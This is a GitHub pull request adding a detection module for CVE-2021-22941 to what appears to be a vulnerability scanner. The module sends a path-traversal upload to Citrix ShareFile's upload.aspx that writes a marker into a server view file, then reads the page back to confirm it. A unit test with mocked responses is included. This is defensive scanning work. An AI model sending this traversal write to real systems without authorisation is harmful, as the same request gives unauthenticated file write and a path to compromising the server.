Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller #1

Merged
merged 24 commits into from
Nov 20, 2023
Merged
53 changes: 53 additions & 0 deletions agent/definitions.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
"""Agent Asteriod definitions"""
import abc
import dataclasses

from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin as vuln_mixin


@dataclasses.dataclass
class Vulnerability:
"""Vulnerability entry with technical details, custom risk rating, DNA for unique identification and location."""

entry: kb.Entry
technical_detail: str
risk_rating: vuln_mixin.RiskRating
dna: str | None = None
vulnerability_location: vuln_mixin.VulnerabilityLocation | None = None


class BaseExploit(abc.ABC):
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
"""Base Exploit"""

@property
@abc.abstractmethod
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
def vulnerability_title(self) -> str:
"""Vulnerability title"""
pass

BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
@property
@abc.abstractmethod
def vulnerability_reference(self) -> str:
"""Vulnerability reference (ie. CVE)"""
pass

@property
@abc.abstractmethod
def vulnerability_description(self) -> str:
"""Vulnerability description"""
pass

def is_target_valid(self) -> bool:
return False

BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
def check(self) -> list[Vulnerability] | None:
"""Rule to detect specific vulnerability on a specific target.

Args:
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved


Returns:
List of identified vulnerabilities.
"""
return None
Empty file added agent/exploits/__init__.py
Empty file.
131 changes: 131 additions & 0 deletions agent/exploits/cve_2021_22941.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
"""Agent Asteroid implementation for CVE-2021-22941"""
import logging
import warnings

import requests
from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin
from requests import exceptions as requests_exceptions
from rich import logging as rich_logging

from agent import definitions

warnings.filterwarnings("ignore")
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved

DEFAULT_TIMEOUT = 90

logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
handlers=[rich_logging.RichHandler(rich_tracebacks=True)],
level="INFO",
force=True,
)
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
logger = logging.getLogger(__name__)


def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]:
boundary = "boundary"
body = "".join(
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="{files["name"]}"; filename="{files["filename"]}"\r\n'
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
"\r\n"
f"{files['content_file']}\r\n" + f"--{boundary}--\r\n"
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type


class Exploit(definitions.BaseExploit):
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
"""
CVE: CVE-2021-22941
"""
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved

def __init__(self, target: str):
self.target = target

@property
def vulnerability_title(self) -> str:
return "Improper Access Control in Citrix ShareFile storage zones controller"

@property
def vulnerability_reference(self) -> str:
return "CVE-2021-22941"

@property
def vulnerability_description(self) -> str:
return (
"Improper Access Control in Citrix ShareFile storage zones controller before 5.11.20 may "
"allow an unauthenticated attacker to remotely compromise the storage zones controller."
)

def is_target_valid(self) -> bool:
try:
req = requests.get(self.target, verify=False, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
logger.error("Failed to reach target %s", self.target)
return False
return "ShareFile" in req.text

def check(self) -> list[definitions.Vulnerability]:
content_file = "A" * 4096
files = {"name": "text4", "filename": "text5", "content_file": content_file}
data, content_type = _encode_multipart_formdata(files)
headers = {"Content-Type": content_type}
payload = "__VULNERABLE__"
params = {
"uploadid": payload + r"/../../ConfigService\Views\Shared\Error.cshtml",
"bp": "123",
"accountid": "123",
}
target_endpoint = self.target + "/upload.aspx"
try:
requests.post(
target_endpoint,
data=data,
params=params,
headers=headers,
verify=False,
timeout=DEFAULT_TIMEOUT,
)
req = requests.get(
self.target + "/configservice/Home/Error",
verify=False,
timeout=DEFAULT_TIMEOUT,
)
except requests_exceptions.RequestException as exc:
logger.error("Failed to send payload, error message: %s", exc)
return []
if payload not in req.text:
return []

vulnerability = self.generate_vulnerability_object()
return [vulnerability]

def generate_vulnerability_object(self) -> definitions.Vulnerability:
entry = kb.Entry(
title=self.vulnerability_title,
risk_rating="HIGH",
short_description=self.vulnerability_description,
description=self.vulnerability_description,
references={
"nvd.nist.gov": "https://nvd.nist.gov/vuln/detail/CVE-2021-22941"
},
recommendation=(
"- Make sure to install the latest security patches from software vendor \n"
"- Update to the latest software version"
),
security_issue=True,
privacy_issue=False,
has_public_exploit=False,
targeted_by_malware=False,
targeted_by_ransomware=False,
targeted_by_nation_state=False,
)
technical_detail = f"{self.target} is vulnerable to {self.vulnerability_reference}, {self.vulnerability_title}"
vulnerability = definitions.Vulnerability(
entry=entry,
technical_detail=technical_detail,
risk_rating=agent_report_vulnerability_mixin.RiskRating.HIGH,
)
return vulnerability
2 changes: 2 additions & 0 deletions requirement.txt
Original file line number Diff line number Diff line change
@@ -1,2 +1,4 @@
ostorlab[agent]
rich
requests
types-requests
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
36 changes: 36 additions & 0 deletions tests/exploits_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
"""Unit tests for Agent Asteriod exploits"""
from agent.exploits import cve_2021_22941
import requests_mock as req_mock
import re

BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved

def testCVE_2021_22941_whenVulnerable_reportFinding(
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
requests_mock: req_mock.mocker.Mocker,
) -> None:
exploit_instance = cve_2021_22941.Exploit("https://75.162.65.52")
requests_mock.post(re.compile("https://75.162.65.52"))
requests_mock.get(
re.compile("https://75.162.65.52"),
content=b'<!DOCTYPE html><html><head><meta charset="utf-8" />'
b'<meta name="viewport" content="width=device-width" />'
b"<title></title>"
b'<link href="/configservice/Content/css?v=WMr-pvK-ldSbNXHT-cT0d9QF2pqi7sqz_4MtKl04wlw1" rel="stylesheet"/>'
b'<script src="/configservice/bundles/modernizr?v="></script></head>'
b"<body>__VULNERABLE__/../../ConfigService\\Views\\Shared\\Error.cshtml,"
b"4190,4190,1,638351359841918992,638351359844106518"
b'<script src="/configservice/bundles/jquery?v=Btq6NiodC7qP1zsuC2xUYWo89HSxJy2RWUt0n_7RLeM1"></script>'
b"</body></html>",
)

vulnerabilities = exploit_instance.check()

vulnerability = vulnerabilities[0]
assert (
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
vulnerability.entry.title
== "Improper Access Control in Citrix ShareFile storage zones controller"
)
assert (
vulnerability.technical_detail
== "https://75.162.65.52 is vulnerable to CVE-2021-22941, Improper Access Control "
"in Citrix ShareFile storage zones controller"
)
6 changes: 0 additions & 6 deletions tests/template_agent_test.py

This file was deleted.

1 change: 1 addition & 0 deletions tests/test-requirement.txt
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ pytest
black
mypy
typing-extensions
requests_mock
Loading